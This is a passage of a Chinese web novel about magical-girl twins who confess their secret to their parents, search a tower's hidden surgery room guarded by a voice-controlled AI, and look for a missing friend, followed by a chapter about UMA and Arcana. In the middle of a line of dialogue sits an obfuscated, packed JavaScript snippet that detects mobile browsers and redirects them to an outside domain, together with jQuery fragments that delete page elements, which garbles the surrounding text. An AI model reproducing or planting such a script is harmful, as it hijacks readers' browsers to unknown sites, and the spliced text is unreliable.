“这个称呼被另一位顾问注册专利了哦?而且我的办公室也只是临时的。”启明星笑了笑,说道,“就请叫我启明星吧,我也会努力分开二位的名字的。” “哼哼,我们会给你提示的。”森山寺未央神秘地笑了。 “那可真是感激不尽!”启明星郑重回应。 电话挂断了,二人以最快的速度把摄像头全都拆了下来,并将那些垃圾收集到了一起。 “这个是可回收的吗?”森山寺未雅疑问。 “感觉可以卖钱。”森山寺未央认真思考这个可能性。 “当然,我当年可是交了一大笔押金的。”森山寺镜点头,“辛苦了!” 姐妹二人面面相觑,随后,由森山寺未雅先开口了。 “我们准备去一趟学校那里。”森山寺未雅开口说。 “为什么?”森山寺镜环抱双臂,等待答案。 “因,因为我们——”森山寺未央绞尽脑汁想说些什么,但又想不出一个合适的理由。 “因为我们的朋友好像出事了。”森山寺未雅说。 “没错!”森山寺未央连连点头。 “有这个拖后腿的在你们这辈子都瞒不过我哦!”森山寺镜推了推眼镜,“我认为告诉警察,让警察帮忙,好过让你们两个高中生去那片混乱的区域做些什么。” 森山寺未央看着森山寺未雅,却发现她也在看着自己,她意识到了,她在相信自己的选择,无论自己说什么,森山寺未雅都会接受,都会与她一同面临结果的。 于是,森山寺未央在雨中深呼吸,抬起头,正视她的妈妈以及从那身后冒出头来看的爸爸。 “其实啊。”森山寺未央以这句话开头,但很快她因为察觉到了自己一会想说什么而笑出来声,于是什么严肃的气氛都荡然无存了。 “总之我们要说一些让你们生气的话了。”森山寺未雅说,“笑吧笑吧,一会就笑不出来了哦。” “你不可能置身事外的!”森山寺未央郑重警告,“总之,我要说了,我真的要说了。” 森山寺镜和森山寺波就这样看着自己那相同又不同的孩子们,等待一个答案。 “其实!”森山寺未央说。 “我们两个!”森山寺未雅说。 “是魔法少女!”二人一同郑重自我介绍。 于是森山寺镜和森山寺波一起鼓掌了起来,赞美着二人的勇气。 “…为什么是这幅态度啊!”森山寺未央大为不满。 “你,你们早知道了吗?!”森山寺未雅大为震惊。 森山寺镜与森山寺波对视了一眼,都笑了。 “因为我们讨论过这件事,未央,未雅。”森山寺波说,“在一年前左右,那个我们都不知道该怎么办的时候,我就在想,如果真的有魔法出现就好了。” “所以,当魔法真的出现之后,我们一致决定不去探究魔法的真实性,我们想要这个魔法存在,所以不去质疑它是否真的应该存在。”森山寺镜说,“因为我们是最大受益人。” “所以,当你们交到朋友的时候,我们是真的非常非常开心的。”森山寺波笑了。 “因为即使你们不愿意和我们分享这件事,你们也不会是孤单的。那么这样就足够了,我们只需要等待这一天的到来就可以。”森山寺镜满意地点头。 “然后这一天就出现啦!”森山寺波说道。 姐妹二人面面相觑,眨了眨眼睛,默契地笑了。 “所以,我们现在想要去找一下我们的朋友。”森山寺未央说。 “那个矮矮的,说话有些慢点那个。”森山寺未雅比划着说。 “她从来不会不接电话的,但是她不知道为什么就是没有接电话!”森山寺未央说着,语气里带上了担忧,“这太不合理了,我们得去找她才行!” “而且我总有种很坏的预感,如果我们现在什么也不做的话那之后就什么也做不了了。”森山寺未雅皱眉说。 “这可是大事!”森山寺波说道,他与森山寺镜对视了一眼,点了点头。 “你们确实应该去找你们的朋友,我相信你们做得到。”森山寺波说,“但是,你们必须记住,我们让你们去并不是想让你们回不来的。” “…不会有这样的事情发生啦。”森山寺未央说。 “不可以说的这么绝对哦。”森山寺镜摇了摇头。 “而且既然你们都告诉我们这么多了,那如果遇到了什么问题,就一定要向我们求助。”森山寺波郑重地说,“警察可能没什么用,我们可不会。” “那确实。”森山寺未雅点头。 一家人又说了些什么,最后,姐妹二人一人带着一个小包出门了。那里面是各种神奇小玩意和点心,不是很沉。 “早知道就早点说了!”森山寺未央颇为不满,“这样不会显得我们之前小心翼翼的样子很奇怪吗?绝对很奇怪吧。” “我们两个一直很奇怪,一直在给她们添麻烦不是吗?”森山寺未雅说,“她们早就应该习惯了!” 二人手上还一人拎着一个手提箱,其中是拆下来的摄像头。 “这个地址,不是Evo园区的地址呢。”森山寺未央看着押金单上的地址。 “内外部门使用的果然是分开的吗?”森山寺未雅点了点头,“不过这样的话我们还得绕个路,要是是去Evo那边的话暸望塔就在旁边呢。” “诶,这样一说,我还挺想去Evo里面看看的!”森山寺未央蠢蠢欲动。 “那个里面都停电了吧,而且其实也就是普通的公司而已,只有部分与那些天使有关。”森山未雅思索了一番,“而且重要的实验部分也不该被放在公司园区里,八成就是那个暸望塔顶层的空间了。” “不太够用的吧?天使人数还挺多的,平时应该也得有个训练室什么的,而且她们住哪啊?住员工宿舍吗?”森山寺未央想着那些人还得和普通职员一起住宿舍,忍不住笑了。 “得吧!”森山寺未雅认可这个说法,“那位有乐千实也同样得住宿舍吧,她是天使的教练来着,得住近一点,那位CEO就不一定了。” 谈话间,二人抵达了交还材料的地方,西部市区停水停电但依旧有地面交通可以使用,二人在距离市区最近的地方下车后步行了二十分钟才抵达目的地,路径那些或倒塌或健在的建筑,不经为期感到惋惜和悲伤。 “为什么会突发地震呢?还是7.5级的。”森山寺未雅不理解为什么会发生这种事情。 “自然灾害也不是总能被预告的吧,又不是像下雨。”森山寺未央说。 二人将两个箱子与定金单放在了尚且还算完好但无人在的办公楼前的置物箱中,转身前往她们真正的目的地。 从外观上看,那座暸望塔本身根本没有受到哪怕丝毫的影响,与它比肩的Evo园区中最高的那座办公楼也同理,二者一如往昔那般夹着底下的车道对视。 “我们怎么上去?”森山寺未雅疑问道。 “我是不会背你的。”森山寺未央表示拒绝。 于是二人开始步行上楼,高度确实客观,好在二人已经不会因为有氧运动而体力不支了。 观光层中,一切都还保留着原先该有的模样,不过原本悬挂在半空中的天花板装饰雕塑砸在了地上,碎片与粉末覆盖了部分区域。 “并没有所谓的废墟部分呢。”森山寺未雅想了想,就知道发生了什么,“启明星还没有来得及再次回到这里看看吧,她们只封锁了楼下的入口。而根据晓说的话,她们的战斗发生在结界中,结界的入口并不在这里。” “没错,那我们也要直接一点吗?”森山寺未央挥舞了一下拳头。 “思考一下啦!或者后面可以说是我们把这里修好了如何?”森山寺未雅说着开始环顾四周。 “天才啊未雅!”森山寺未央大为满意。 森山寺未央考虑到神脉医院附属孤儿院的隐藏电梯,前去观光电梯的电梯井里探查了一番,并没有发现额外向上的区域。森山寺未雅回忆暸望塔的外观,并没有想起可以额外提供一部电梯通行的上下通道空间。 “那就只能是这里了吧?”二人来到观光层的正中心,那里是一家咖啡厅兼鸡尾酒吧台的所在之处,此时柜台中大部分架子都是空的,但看陈设二人就能猜出这上面本该摆放着什么。 二人围着圆柱形的吧台转了一圈,在柜子上到处翻找了一遍,还是没能发现入口。 “…你说,这个不会是声控的吧?”森山寺未央有了不太好的猜想。 “那这玩意现在不就没用了吗?”森山寺未雅大为不满,“不对,万一有备用电源呢?” “那假如是有的,声控的话也该需要一个密码什么的吧?”森山寺未央清了清嗓子,“Per Vulnerum, Sanatio!” 没有人回应她。 “是不是口音问题?”森山寺未雅质疑。 “可恶!”森山寺未央急的上蹿下跳,“怎么这样啊,我练了好久这个,怎么可以这样!” “那就不是这个吧,那边的人应该还挺讨厌博蒙的,也肯定很讨厌阿贝尔家族。”森山寺未雅想了想,“我们真的没有在白费力气吗?” “试试呗,又没人看得见。”森山寺未央再次清了清嗓子,“阿拉霍洞开!” 没有人回应她。 “不太好吧,咱们有自己的魔法体系了。”森山寺未雅挠了挠头。 “那你给我想想办法!”森山寺未央使劲挠森山寺未雅的头。 “我想,我想!”森山寺未雅使劲想,“那些人都那么大年纪了总不能还设计这种口号什么的吧,像传销组织似的。” “不是口号密码还能是啥?”森山寺未央想了想,忽然想到了什么,“对哦!” 随即,她再次清了清嗓子,“阿尔卡纳!” “您好。”有电子音回复了她。 “还真是啊!”森山寺未雅吓了一大跳。 “哼哼!”森山寺未央得意地笑了,“开门让电梯送我们上去!” 圆柱形的吧台从中间缓缓裂开,露出了其中的圆柱形通道,一扇门等候在那里,随即缓缓打开。 “…奇怪。”森山寺未雅想了想,问道,“阿尔卡纳,谁喊你你都会应吗?” “我已录入您的声纹。”阿尔卡纳回应道。 二人面面相觑,但电梯门开着,她们先进入了电梯。封闭空间缓缓上行,一瞬的滞空感过后,电梯门再次打开,露出了眼前不太明亮的通道。 “这里有备用电源吗?”森山寺未雅注意到了角落里亮着的指路灯。 “电梯都能用了,八成是吧。”森山寺未央点头,好奇地向前走去。 除了电梯出来左手边的景观窗外,通道内没有任何显眼的,可以被打开的门。 “阿尔卡纳,介绍一下这里吧!”森山寺未央自来熟地搭话道。 “抱歉,我不理解您的意思。”电子音没有表达出疑惑。 “打开这里所有的门。”森山寺未雅命令道。 本来平整光滑的通道中瞬间裂出几道黑色缝隙,随即,缝隙扩大,最后留下一道通往室内的门。 “没有灯吗?”森山寺未央看着黑漆漆的房间内有些犹豫。 “紧急情况下不开启非必要光源。”电子音回复了她的疑惑。 二人从小包里掏出了多功能手电筒,朝那些房间内走去。 通道所能前往的房间并不多,有三间休息室,两间卫生间与一间大概是用来放东西的房间,现在所有房间内都是空旷昏暗的,柜子中和架子上都只有些许常用的药物和医药用品。这里就像是一间私人诊所,科技水平过高的那种。 “但这里应该有个别的房间吧。”森山寺未央想了想,清了清嗓子,“阿尔卡纳,打开手术室。” 电梯入口尽头的休息区沙发旁,一道小门打开了。 小门通往的是另一段不是很长的通道,通道的尽头是类似于手术室门的双开门,此时也开着,通道两侧是各种货架和储物柜,上面摆放着大量没有标签的药瓶以及各种工具。除了常见外科手术工具以外,更多的是二人从未见过的造型的刀具。 “…这玩意是干啥用的?”森山寺未央拿出一个类似于园丁剪刀的钳子,它的刀片是勺子形状的,但更为薄,边缘也更为尖锐。 “看上去像刑具。”森山寺未雅非常嫌弃那些工具,没有去碰。 二人进入手术室中,森山寺未央一眼就看出了其中那个倒扣着的原型双层玻璃缸是神脉医院孤儿院地下那些的同款,但这里的这台更大,功能也更多。 而森山寺未雅却走向了角落,那里存放着一台纺锤形状的不明仪器,门半开着,其中空无一物,也不知道有没有链接电源。但她通过那其中的构造看出了一些端倪,这台被手术室孤立却又不得不存在于此的立式容器与克拉拉自己改装的那台医疗舱结构相似,那作用八成也是相似的。这个世界上不会有另外一个需要这样保存的存在了。 “如果说,伊提阿姨也来过这里,是从这里将石杖带走,又转交给克拉拉的话。”森山寺未雅思索着,“它一开始是为何存在于此呢?” 那石杖并非常人可以触碰之物,而那容器也就是为此而准备的。但问题在于先出现在这里的到底是容器还是那石杖呢? “那它现在物归原主的到底是好还是不好呢?”森山寺未央也蹲在那容器旁边看,“这玩意我们也要销毁吗?它似乎并不是单纯的科技产物。” “先放结界里吧。”森山寺未雅一时也做不出个决定。 二人再次开始翻找起手术室内的一切。 从边上的手术台中,二人找到了一把黑色的翻书尺,以及一本黑色金属封皮,四角上镶嵌了金属护甲的厚书,分量十足。 “这玩意是什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808015|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”森山寺未央挥了挥那把圆头黑尺,“看样式是翻书尺,但是边缘好尖锐啊,而且也有魔力气息。这是魔法道具吧,但是用来做什么的呢?” “在手术室里,那就是用来做手术的吧。”森山寺未雅说着,翻开了那本近十厘米厚的书。 出乎意料的是,这不是一本打印出来的书,而是一本手记,书中的内容是以拉丁文混杂英文撰写的。笔记的主人写得一手好字,哪怕是大量的文字混杂着用以解释内容的插图也没有让二人感到眼花缭乱。 笔记内容二人只能看懂些许,基本上没有改动的部分,墨水也没什么晕染的情况,但二人依旧能察觉到这本手记有一定的年纪了。因为那书页的一角被人常常翻动过的痕迹过于明显了,曾经有谁无数次翻开过这本书细细查看其中内容,却也不对其进行批改。 这是一本医书,二人通过那些手绘的人体器官,血管,甚至神经图的精确插图确认了这一点。却也为写下这本书,以及画出其中内容的那位作者感到好奇,以及反感。因为那些图片刻画地太过细致精准了,下笔的方法近乎是刻薄的。 书中的内容并不是一个学者的笔记,那是属于一个研发者的记录。书中那些二人能勉强认出的专业名词中,作者一遍又一遍地否认着一个又一个专业名词组成的特殊词句,那否认太过于绝对,频繁,果断,即使是看不懂拉丁文的二人在看了几次后也能理解其中的含义了。 这本书的作者似乎是在寻找什么的可能性,以否认其它可能性的方法去找。都说排除法是非常笨的方法,但二人看着那些用以否认的词句,插图,以及简短到近乎冷漠的批注。她们意识到写下这本笔记的人并不是因为笨而使用排除法,而是她所追寻的那个结果还不存在可以被研究出来,或者说被发现的可能,作者只能靠一遍又一遍的否认去杀死那些其它可能性,从而追逐那无限小的可能性出现的一瞬间。 书翻过大半,一张完整的人体血脉走向图再次出现在了二人眼前,但与之前出现的那些局部部分不同,这张图上的血管被用极细极精准的黑色小点标注了无数位置,如一场黑色的雨下在了上面一般。 角落里,一道批注被郑重写下:Per Vulnerum, Sanatio。亲爱的艾洛蒂,你定要记住这句话,从而脱离自我,定下存在,获得新生。 “经过伤口治愈。”森山寺未央喃喃自语,“这是阿贝尔家族的人写的,这本书是博蒙写的!” 森山寺未雅恍然大悟,若是阿贝尔家族的人,那其对人体的看法与运用是如此刻薄而冷漠就是可以理解的了,因为阿贝尔家族中人从不将自己视作人类的一员。而这本书大概是博蒙在失去记忆之前为自己的孩子留下的。 “有谁在用这张图作为基础做实验。”森山寺未雅指着那种黑点血管图说,“人体实验,得到的结果就是那些天使。” “…为什么,要做到这个份上呢?”森山寺未央无法理解,“阿贝尔家族的人之外的人的话是没办法理解这句话的吧。那到底是谁,有什么目标是要做到这个份上,对那么多人做出那种实验,也要达成的吗?我不理解,我一直不理解。” 无论是这本书的目的,阿贝尔家族的目的,利用这张图的目的,她都不理解。 “也不用去理解吧,阿贝尔家族大概是想肉身成神什么的吧,你又不打算这么做。”森山寺未雅摇了摇头,“这两个魔法道具就收起来吧,之后交给艾克里普,她应该能看懂其中的内容找出更多做这种实验的人。” “…没错!”森山寺未央摇了摇头,没有再去想那些东西。 二人将这一层里的东西能销毁的销毁,能搬的搬,最后准备离开时,森山寺未央看着空荡荡的房间们都有些不好意思了。 “有种进村民屋子里扫荡的感觉!”她嘿嘿一笑。 “翻宝箱是这种游戏不得不品的一环呢!”森山寺未雅满意地点头。 沉默的人工智能没说什么,为二位开门送离顶层区域。 “阿尔卡纳。”森山寺未雅问道,“我们的声纹是什么时候录入的?” “文件源时间为2012年。”电子音回复道。 “那时候我们才四岁诶!”森山寺未央大惊,“而且你们的摄像头装的到处都是,为什么要用我们四岁时的声纹啦。” “抱歉,我不理解您的问题。”电子音回应。 “…我们声纹的提供者是谁?”森山寺未雅问道。 “源文件提供上载者为项目管理员,代号:ETI。”电子音回复。 电梯门缓缓关闭,吧台复位,带起一些灰尘,但也没有更多的什么了。 “伊提阿姨。”森山寺未央再次念起这个名字时,带着的感情已经不仅仅是怀念了,她意识到这位长辈对她们怀揣着某种期待。这个名字的所有者离她们太远了,无论是时间还是空间上,但又似乎随处都可以看见她。 她什么都没留下,可能是做不到,也可能是不想做,但同时,她也留下了太多的东西。 “伊提阿姨她,是不是想和我们说什么呢?”森山寺未雅说,“我感觉到她好像想做什么,想说什么,但是又什么都没有留下。” “阿尔卡纳,你知道那个管理员想做什么吗?”森山寺未央问道。 “抱歉,我不理解您的问题。”电子音回应。 “她死去了吗?”森山寺未雅问。 “抱歉,我不理解您的问题。”电子音回应。 “她去哪了?”森山寺未央又问。 “抱歉,我——” “你什么都不知道。”森山寺未央说,“你是人工智能,是工具,没人告诉你什么是该知道的话你就什么都不知道。” “是的,我是阿尔卡纳。”电子音回应。 “走吧。”森山寺未雅说,“有空再来看它吧,现在,我们得去做别的事情了。” 二人原路返回,观光层恢复了平静。 室外还在下雨,二人戴上了雨衣的帽子,站在街上不知该去哪。森山寺未央试图给犬山晓打电话,但没有人接。 “…难道是把手机摔坏了?”森山寺未央疑惑道。 “你以为谁都像你一样?”森山寺未雅打电话给克拉拉,这次电话倒是被接起的很快。 “有什么新消息?”克拉拉的声音带着些许疲惫。 “找到了一本生物学著作,纯手写医书,以及大量不知道有没有用的东西。”森山寺未雅说道,“不过打电话给你主要是为了另一件事,你知道晓去哪了吗?” “小犬山?”克拉拉的声音带上了疑惑,“虽然我是她的监护人但我又不是什么控制狂,不至于在她身上装监控器的。她出什么事了吗?” “…她,一直没有接电话。”森山寺未雅不知道该怎么说这件事,毕竟丢手机实际上并不是一个多么罕见的情况,“你知道的,她一般不会这样。” “…她不可能丢手机的。”克拉拉的声音严肃了起来,“我给她的药瓶上有定位器,你等一下。” “哇你是不是刚才还说了自己不会干出这样的事情来着?”森山寺未央大惊。 “研究人员最终自己的实验成果是正常行为。”克拉拉理直气壮地说,“啧,定位器整个失踪了,要么是在没信号的地方要么是坏了。” “上一次出现是在哪?”森山寺未雅问。 “…Evo园区内的一栋楼,坐标发你了。”克拉拉说着,补充道,“时间是今天凌晨四点整。” “果然还是得去看看,不过那里现在没有人上班,监控摄像头也不工作,这方面倒是没什么好顾忌的。”森山寺未央没有再犹豫,她信任犬山晓的能力,但更认可她作为朋友不会让她们感到担心这一点。 那可是我们乐队的队长啊!森山寺未央心想。 “她还能去哪?”克拉拉的声音带上了焦急,“她想怎样啊电话也不接定位也消失了,小孩子怎么就这么麻烦啊?!” “总之我们现在去看看。”森山寺未雅说,“她很强大,你知道的。” “…拜托你们了,我也会接着调查的。”克拉拉叹了口气。 电话挂断后,二人朝着一条街之外的Evo园区走去,即使现在里面大概是没人的,但二人还是找了个角落使用隐身魔法之后才进入其中。 Evo园区内只有部分边缘建筑出现了坍塌情况,但比起那些,地面上本为体现生态美的那些植被和树木大多遭了殃,东倒西歪地散在地上,让整个园区的路径仿佛被绿色和枝干淹没了一般,杂乱无章。 二人跟着坐标定位前进,一路绕过多个建筑进入了Evo园区的娱乐活动楼。从半开着的自动感应门进入其中后,昏暗的大厅中,挑高空间内的一颗五层楼高的巨树被困于其中,些许光亮透过玻璃洒在它此起彼伏的枝干上,它没有因地震而受到伤害。 围绕着那棵树,多个由各种材质表面覆盖的统一黑色系沙发群们几个一组,在那周围排列开来,一旁是一个咖啡吧台。再往里看就能看到上行的扶梯,现在已经没有在运作了。 “我之前还来过这呢,这里的健身休闲区可大了,比隔壁那家要年费会员的健身房还大。”森山寺未央感叹说,“而且这棵树真的很夸张诶。” “确实啊。”森山寺未雅抬头眺望那棵树的顶端,“有点像个游客来就一定要在这里自拍的特殊景点了。” “可是这棵树放在室外的话就没人想拍了吧!”森山寺未央不满道。 二人一边说着什么一边寻找向下的电梯,坐标点定位应该是在地下地一二层,但二人转了几圈都没有发现能通往地下的楼梯。 “你之前来过这里,知道怎么下去吗?”森山寺未雅故意问道。 “好吧其实我也就是游客的程度了。”森山寺未央表示自己确实不太了解,“不过要不要试试那个,毕竟这里不也是她们的地盘吗?” “试试?”森山寺未雅说道,“阿尔卡纳。” 没有人回应她。 “怎么到这里反而就没用了呢?”森山寺未央不解,“资源分配太不平均了的话哪怕是员工也是会投诉的!” “人工智能才没可能投诉呢。”森山寺未雅叹了口气,“我们自己去找吧。” 于是森山寺未央再次尝试从电梯探索,这次倒是十分顺利地就发现了额外的下行空间。二人化影后穿入其中,地下一共两层,二人先去了地下一层。 昏暗的空间内只有最低程度的基础照明灯,二人摸索着前进,发现这里似乎是用来体检的地方。虽然有各种房间隔开空间,但每个房间面积都不小。 “员工体检应该不是这里吧?”森山寺未央质疑道,“这些工具风格和那个手术室里的差不多,毫无人性可言啊。” “估计就是同一批次的吧,手术室那边应该不怎么会有人上去,这里被利用的更多。”森山寺未雅看着那些被遗留在原地的工具和使用痕迹,心中有了判断。 “那在这里体检的员工就是那些天使了吧,这里是天使的私人医院!”森山寺未央说着笑了,“这么说好好笑啊。” 二人经过多个房间都无法进入其中,那些门是被彻底关闭的,与瞭望塔顶层的通道墙壁构造类似。 “后面找艾克里普来把这里全销毁了吧。”森山寺未央点头,“坐标点似乎并不是在这里,而是在更下面一层,我们下去吧。” 森山寺未雅点头,二人再次从电梯井下行。 83.Day∞+ 在UMA坚持不懈的随意套话,以及利奥拉的分析,一台奇怪的机器出现在了她那奇怪的病房中,丝毫不显的突兀。 “像个烫头的机器。”UMA诚实的评价道,“还是我5岁左右时流行的那种。” “不要用外表判断内在哦。”利奥拉的机械手反复抚摸那台机器,明显爱不释手。 “然后呢?”UMA问道,“发明出来了,然后呢大发明家?” “然后就到了实验阶段了。”利奥拉说。 “实验?谁?”UMA疑惑道,“你不会是在说我吧,我死了怎么办啊?” “你不会出事的哦,毕竟她无论怎样都会帮你的嘛。”利奥拉笑着说,“而且万一运行成功了你就能使用那些魔法了吧,不过这会不会涉及魔法少女道德理论?有这个道德论吗?” “…虽然我没得选,但我知道她没那么在乎道德什么的。”UMA沉默了一会说道。 “自然,她曾经一定是靠力量恐怖造成过大规模影响的,但现在对做这种事感到无聊了吧。但是她怜悯你,且对你感到愧疚,这就足够了。”利奥拉说。 “也是,她到底是为什么那么在乎这些东西呢?”UMA说着,叹了口气。 或许是因为设备不算完善,或许是因为素材准备不够充分,或许只是UMA运气不太好,总之,实验没有得到成功的结果。 “你染头发了?”阿尔卡纳注意到她发蓝的发尾,“还抽烟了。” “我这个年龄抽烟喝酒烫头都不奇怪哦。”UMA微笑着说。 “可是你以前从来不这样吧。”阿尔卡纳直接问道,“怎么了?这家公司总算要倒闭了吗?” “那我反而开心点,算了,这种事情无所谓吧。”UMA摆了摆手,打开了空气循环系统。 “你,”阿尔卡纳有些犹豫,但还是说了,“要我帮你变回去吗?” “怎么变?”UMA问道,“换色,基因重组,时间回溯?” “把你发尾剪了,你头发挺长的不是吗?”阿尔卡纳并没有打算做那么多。 “…这个时候你就挺现实的。”UMA叹了口气,“不考虑一下魔法的作用吗?” “你想了解时间回溯魔法?”阿尔卡纳顿了顿,“虽然你一直以来没有学会使用任何魔法可能是因为你天资愚钝,但时间魔法与空间魔法不同,魔法少女也无法使用时间魔法。不过单指时间回溯的话你们人类倒是有办法做到吧。” “我不记得哪家公司有研发出时光机这种东西啊?”UMA意外地说。 “比那简单多了,回忆不就行了?”阿尔卡纳说,“闭上眼,然后回忆,你就能回到过去了。而且可以随意切换回忆点。” UMA沉默了下来,随即,她又露出了微笑。 “还是来谈谈时间回溯魔法吧,毕竟只是回忆的话一点意义都没有不是吗?”UMA问道,“为什么魔法少女也没办法使用时间回溯魔法呢?” “因为无法理解。”阿尔卡纳说,“语言系统是基于对逻辑的理解使用的,人类无法从上往下完整地观看时间的逻辑,所以无从理解。而且时间回溯魔法,前进魔法,暂停魔法都是破环型魔法的衍生,且是非常复杂的复合魔法。” “居然是破坏型的吗!”UMA非常意外这一点,“我印象里时间并不是存在感多大的概念呢,不知不觉就过去了好久。” “因为我们都顺应着时间前进啊,若是逆行的话,你就能见识到什么叫时间的洪流了。”阿尔卡纳开了个玩笑,“时间回溯1小时相当于把这个交叉带上的时间与空间内所有生物杀死1个小时,并由杀死者在使用时提供复原所需要的魔力,这其中所需要的魔力并不是一个普通魔法少女能支付得出来的。” “所以,你是不是能做到?”UMA看着阿尔卡纳说。 “当然。”阿尔卡纳自得地说,“除了我以外,大概也就深海区域的那些脑子都变成石头的存在能使用了吧,不过无论是我还是那些存在都不可能使用这个魔法的。” “为什么?你没有后悔过什么吗?”UMA问道。 “因为我们没办法控制回溯的时间,使用后默认消耗魔力最大值,魔力消耗完毕后我就消失了,知道了吗?”阿尔卡纳说。 “原来是这样,那这个魔法的存在还挺残酷的。”UMA评价说。 “你们人类的语言里也有‘活祭’这种词汇,道德这方面就不要妄加评价了。”阿尔卡纳不屑地说,“不过确实已经很久没有谁使用这个魔法了,生存可是本能的一环。” “时间回溯之后,会有谁记得住过去发生的事吗?”UMA问道。 “还活着的魔物们都记得住,不过现在会说人话的魔物大概就剩我一个了吧。”阿尔卡纳说。 “为什么?虽然对人类来说魔物拟人很恐怖,但对魔物来说这是好事吧。”UMA感觉这违背了常理,吞吃人类就能模拟人类对话,许多地区的人其实也没那么难捕杀。 “因为那些魔物都被我捕食了。”阿尔卡纳直接说道。 “你无论在哪边都身份不做好啊!”UMA感叹道,又为这一点感到有些开心。 “我和你不同。”阿尔卡纳否认了对方的喜悦,“我只是觉得吞吃人类很恶心,不打算继续这样做了而已,反正我们魔力衍生个体内部消化的话其实无论如何都差不多吧。” “你以前怎么不这样做?”UMA笑了笑,“你不会是因为担心自己吃人的事情被那些魔法少女们知道,随后就交不到朋友了吧?” 阿尔卡纳看着UMA微笑的面容,心里盘算着要不要打她一下。 “不过如果按你说的,如果我以前成为了魔法少女,成为了你的朋友之后,你反而没有可能和我说这些东西了。”UMA自顾自地说着,“和你成为朋友是一种什么样的感觉?你过去的那些朋友有给你过好评什么的吗?” 人类无法评判阿尔卡纳,但魔法少女可以。 “…都是些无聊的话,明明已经是这样的存在了,说出口的话却都是那么普通。”阿尔卡纳这样说着,语气里并没有不屑,“偶尔一两个能说些有建设性的话来,却又死的那么快。你要是成为魔法少女的话,大概也就还能再活个十年左右吧。不对,你看上去胆子很小,按照平均比率计算的话可能能多活几年?” 阿尔卡纳这样说着,UMA却从中窥视到了些许过往,那些魔法少女,或强大或弱小,或正义或偏离正道,阿尔卡纳一直都陪在她们身边。于是最终她们在意识到自己无法陪这位过于长寿的友人继续走下去时,献上的一定是发自真心的期盼吧。 来自魔法少女的期盼会带有魔法吗?会带有祝福吗?UMA不知道,她不是魔法少女。 “哪种比较好呢?胆小地活得久一点,勇敢地活得短一点,哪种比较好呢?”UMA问道,她的语气充满迷茫。 但是,阿尔卡纳也不知道这个问题的答案。她意识到这或许和那些魔法中的逻辑一样是无法用语言得到答案的,她们需要另一种东西来形容这个答案。但那是什么?她们谁都不知道。 “其实,我也是有办法让她们活得久一点的。”阿尔卡纳忽然开口说道,“但她们没有一个接受我的提案,果然生物大脑对魔法个体的荼毒太深了,我们没办法共用语言系统就没办法真的互相理解,也就没办法一直相伴吧。” 一个人要在什么情况下会拒绝长寿呢?UMA想到这个问题,却发现自己在这个问题上能非常轻易地得到属于她自己的答案。 “或许是因为,人类拥有灵魂,人的寿命也是灵魂的寿命,若是超出了那个极限,人哪怕活着也不过是一具行尸走肉了吧。”UMA微笑着说出了另一个答案,“而且人类就是因为短寿而能靠传承达成如今这番成就的。” “…魔法少女可没有什么东西可以传承下来的。”阿尔卡纳说,“那些孩子,大多数都度过了充满痛苦与挣扎的一生,那是魔法没办法奏效的地方。她们不被社会承认,又没办法真的理解魔法语言,于是,两边都没法去。” 所以她才去往她们的身边,以同类的身份陪伴她们度过短暂的一生。这样看来她们若是永生,那么那些痛苦与挣扎也会变得漫长了。 “也不是完全没有东西传承下来吧。”UMA微笑着,略微有些怀念地看向了窗外,“你还活着,你记得住她们说的话,这就是她们留下的东西了。” 但许久,UMA没有收到任何答复,没有讽刺,没有赞同,没有冷笑,什么都没有。 她回头,阿尔卡纳再次一动不动地停顿在那里,如俯视人类社会发展衰败但永恒一言不发的古老山脉,她一直存在,一直感受,一直听,一直看。 这样的她,会想说什么,又会想做什么呢?UMA忽然好奇道。难道只是陪伴着,听着,看着吗?她会有自己的想法和想做的事情吗? 她会有灵魂吗? “不会有的吧。”病房里,利奥拉回应了这个问题,“她若是演化而成的,那本身和人工智能没什么区别,而且她自己也说了,魔物只是工具而已。” UMA听着这个答案,没什么反应。 “哈哈,你对她也感到怜悯了吗?”电子音发出了冷然的笑,“因为你觉得你与她有着相似的处境?她不会理解你的,但我会,你说什么我都会一直听的。” “所以这就是你明明看得见监控还要我给你复述一遍的理由?”UMA说。 “临终前想多听听同事说话有什么错呢?”利奥拉没有反省的意思。 正如她所说的那样,利奥拉的寿命即将走到尽头了,现在这个程度已经是现代科技能做到的极限了。利奥拉的衰老比寻常老人来得更早,也更加迅猛,她本该在15年前就开始走向死亡的,但靠着这一身器械,她成功活过了那些远比她更注重养生的人们。 “你为什么这么执着于同事这个称呼?”UMA好奇地问。 “因为,这样更像是你们的同行者吧。”利奥拉说,“我知道,你们之中的大多数还挺讨厌我的,我也没办法单方面自称是你们所有人的朋友,但是同事就不一样了吧?有一种能一起穿一套制服的感觉呢,如果可以的话我喜欢黑色西装背心和罩裙!” “还挺实用的。”UMA如实评价道,“不过太普通了,我不会穿的。” “统一制服的魅力就在于不管你想不想你都得穿哦!”利奥拉用电子音模仿得意情绪说,“大家穿一样的衣服站在一排,还能分辨得出谁是谁,这才是自我的意义所在啊。” UMA看着濒临死亡的老人,若是说这世间有谁的自我能庞大到足够强行包容别人的话,那眼前这位肯定算其中一个。她忽然对其年轻时是什么模样有些感兴趣了起来。 “你以前,是个什么样的人呢?”UMA也这样问了,“当作是临终遗言告诉我吧,我会给你的墓志铭上少刻点坏话的。” “我的过去?你终于也对我的过去产生兴趣了吗?这是友谊诞生的第一步哦!”利奥拉用电子音表达欣喜,“不过在我的目标达成之前,我的过去的一切都没有意义,因为那是非常普通,非常无趣的,一眼能看得到头的普通人生。” 这句话UMA完全无法认同,她亲眼见证眼前的老人为了自己的理想祸害了多少人,就连她自己也是其中的受害者之一。十五年前她的母亲无故失踪,六年前她的阿姨被狙击手枪杀,她私下调查和打听到的结果全都指向与眼前的人有关。 但同样的,也是因为利奥拉,她才能解决那些事,才能这样活到现在的。 “你的目标是什么呢?”UMA发自真心地感到疑惑。 